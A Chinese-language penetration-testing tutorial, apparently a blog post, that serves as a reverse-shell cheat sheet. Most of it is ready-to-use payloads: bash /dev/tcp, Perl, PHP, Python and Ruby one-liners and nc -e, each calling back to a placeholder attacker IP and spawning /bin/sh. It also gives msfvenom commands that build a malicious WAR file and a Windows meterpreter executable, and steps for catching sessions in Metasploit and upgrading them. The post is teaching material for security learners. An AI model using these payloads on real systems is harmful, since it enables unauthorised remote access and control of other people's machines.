复习 Revershell:在受害主机启动连线 shell,连接回攻击主机(会预先监听 port),
上一篇提到 shell 利用 -e 在连线的时候启动 cmd.exe 或是 /bin/sh,也可以透过 bash、python、PHP。
bash Reverse shell
攻击主机:nc -lvp 4444
受害主机:bash -i >& /dev/tcp/[攻击机IP]/[攻击机Port] 0>&1
Linux 系统将标准输入、输出分成三个:
bash -i
构造可互动式的连线>&
标准输出与标准错误输出重新导向到透过 TCP 连线的目标0>&1
将标准输入重新导向到标准输出,也就是将攻击者传来的指令,於受害者机进行执行Perl Reverse shell
受害主机如果有安装 Perl 可以执行以下的指令。
perl -e 'use Socket;$i="[攻击机IP]";$p=[攻击机Port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-e
执行後面的指令PHP Reverse shell
受害主机如果有安装 PHP 可以执行以下的指令。
php -r '$sock=fsockopen("[攻击机IP]",[攻击机Port]);exec("/bin/sh -i <&3 >&3 2>&3");'
或是有 PHP 撰写的网站後台,可执行 PHP 程序语言,可利用以下的 function。
$sock=fsockopen("[攻击机IP]",[攻击机Port]);exec("/bin/sh -i <&3 >&3 2>&3");
python Reverse shell
受害主机如果有 Python,也可以执行以下的指令。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击机IP]",[攻击机Port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ruby Reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[攻击机 IP]","攻击机port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("[攻击机IP]","攻击机port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
可以产生有用的 payload (.exe, .aspx, .war, .py)提供给攻击者上传到受害环境。
标准语法
msfvenom -p <PAYLOAD> <OPTIONS>
参数 | 说明 |
---|---|
-p |
指定 payload |
-f |
指定输出格式 |
-o |
指定输出名称 |
LHOST |
指定攻击主机的 IP |
LPORT |
指定攻击主机的 port |
payload 格式
<OS>/<arch>/<payload>
查看payloads
msfvenom --list payloads
制作 jsp WAR Reverse shell
WAR 只得是 Web Application Resource 或 Web application ARchive
也就是可以部属在 Apache Tomcat 服务中的压缩档案
该 War 可建立 .jsp 档案的 WAR,jsp 为 Java Server Pages,类似 .php 或 .asp。以程序语言 java 为後端的网站,透过 Apache Tomcat 服务器软件执行。
以下的指令是透过 msfvenom 产生一个 payload 是 java/jsp_shell_reverse_tcp
并指定攻击机 IP 与 PORT,输出档案格式为 war,最後将产生的 binary 输出於根目录中的 tmp 资料夹,档案名称为 shell.war
。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[攻击机IP] LPORT=[攻击机PORT] -f war > /tmp/shell.war
Windows binary reverse shell
针对受害主机如果为 Windows 也可以透过以下指令以目标 x86 Winodws Payload 为 windows/meterpreter/reverse_tcp
并指定攻击机 IP 与 PORT,输出档案格式为 exe,最後将产生的 binary 输出於根目录中的 tmp 资料夹,档案名称为 exploit.exe
。
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机port -f exe -o /tmp/exploit.exe
要在攻击主机开启 msfconsole 监听 port,以下为流程:
Metasploit 工具中的 multi/handler 模组,可以用来接收反弹的 shell ,比 netcat 和 socat 连线较稳定,通常用 use auxiliary/multi/handler
之後,进行额外的设定,如设定 PAYLOAD 、Listen IP、Listen port 等。
msfconsole
use exploit/multi/handler
multi handler
set payload windows/meterpreter/reverse_tcp
set lhost 攻击机IP
set lport 攻击机port
run
[*] Started trverse TCP handler on 攻击机IP:攻击机port
表示已经开始监听。exploit.exe
[*] Command shell session 1 opemed (攻击机IP:攻击机port -> 受害主机IP:随机受害主机 port) at 2021-10-07 23:43:45 +0800
表示 Metasploit 已经收到来自受害主机的 Shell,此时可以执行指令。msf exploir(handler)
可执行以下的指令,确认目前正在背景执行的连线,称为 job:
jobs
jobs -K [job id]
jobs -h
Bash to Meterpreter shell
如果受害目标使用 bash 进行反向 shell,我们一样可以透过 Meterpreter。
攻击主机设定 msfconsole,并进行监听:
msfconsole
use exploit/multi/handler
multi handler
set payload linux/x86/shell_reverse_tcp
set lhost 攻击机IP
set lport 攻击机port
run
bash -i >& /dev/tcp/[攻击机IP]/4444 0>&1
nc [攻击机IP] 4444 -e /bin/sh
Background session 1? [y/N]
,此时输入 y,让目前连线在背景执行。也可以执行 background
,要确认目前连线可透过刚刚提到的 jobs
确认。shell_to_meterpreter
升级,让我们连线功能更多与更稳定。
sessions -u [session id
],优点在於自动执行模组内容,具体方法如二种方法。use post/multi/manage/shell_to_meterpreter
set session 1
查看 session 列表
sessions
跟指定的 session 互动
session -i [session ID]
`
>>: 那些被忽略但很好用的 Web API / IntersectionObserver
昨天看过了最上面的"using"是什麽接着看下面的"Mehod&quo...
1. Dom元素无生成完毕,使用this.$nextTick 情境:Dom元素无生成 导致 refs...
(以下有说错的,在劳烦各位大大告诉我,感谢各位学长姐) 其实一开始我在想说我的SQL资料库要用哪个语...
大家早安~昨天介绍完CSS的语法和选择器後,今天要来实际告诉大家究竟有哪些常见属性可以使用呢? CS...
以一个懵懂无知的青蛙来想像子查询的执行方式.. 如果是不相关子查询 mysql> select...